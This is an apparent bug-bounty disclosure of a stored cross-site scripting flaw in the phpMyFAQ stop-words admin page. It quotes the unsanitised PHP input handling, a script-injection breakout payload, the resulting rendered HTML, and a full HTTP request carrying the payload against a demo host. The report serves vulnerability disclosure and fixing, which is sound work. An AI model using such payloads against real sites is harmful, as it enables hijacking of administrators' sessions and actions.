XSS @ Stop Words in thorsten/phpmyfaq
Reported on
Mar 8th 2023
Description
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Proof of Concept
Code 1:
$ajaxAction = Filter::filterInput(INPUT_GET, 'ajaxaction', FILTER_UNSAFE_RAW);
$instanceId = Filter::filterInput(INPUT_GET, 'instanceId', FILTER_VALIDATE_INT);
$stopwordId = Filter::filterInput(INPUT_GET, 'stopword_id', FILTER_VALIDATE_INT);
$stopword = Filter::filterInput(INPUT_GET, 'stopword', FILTER_UNSAFE_RAW);
$stopwordsLang = Filter::filterInput(INPUT_GET, 'stopwords_lang', FILTER_UNSAFE_RAW);
$csrfToken = Filter::filterInput(INPUT_GET, 'csrf', FILTER_UNSAFE_RAW);
After sending the request, whatever we write as stopword gets' into value:
<input class="form-control form-control-sm" id="stopword_3300_az" value="a" onblur="saveStopWord(this.id)" onkeydown="saveStopWordHandleEnter(this.id, event)" onfocus="saveOldValue(this.id)" old_value="a">
Bypass - add ">
at the beginning and <input class="
at the end like this:
"><script>alert(4)</script><input class="
Result:
<td><input class="form-control form-control-sm" id="stopword_3303_az" value=""><script>alert(4)</script><input class="" onblur="saveStopWord(this.id)" onkeydown="saveStopWordHandleEnter(this.id, event)" onfocus="saveOldValue(this.id)"></td>
Request:
GET /admin/index.php?action=ajax&ajax=config&ajaxaction=save_stop_word&stopword=%22%3E%3Cscript%3Ealert(%22Agabala%22)%3C%2Fscript%3E&stopwords_lang=az&csrf=EDITthis HTTP/2
Host: roy.demo.phpmyfaq.de
Cookie: PHPSESSID=EDITthis; cookieconsent_status=dismiss
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://roy.demo.phpmyfaq.de/admin/?action=stopwordsconfig
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Payload:
"><script>alert("Agabala")</script>
Impact
The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.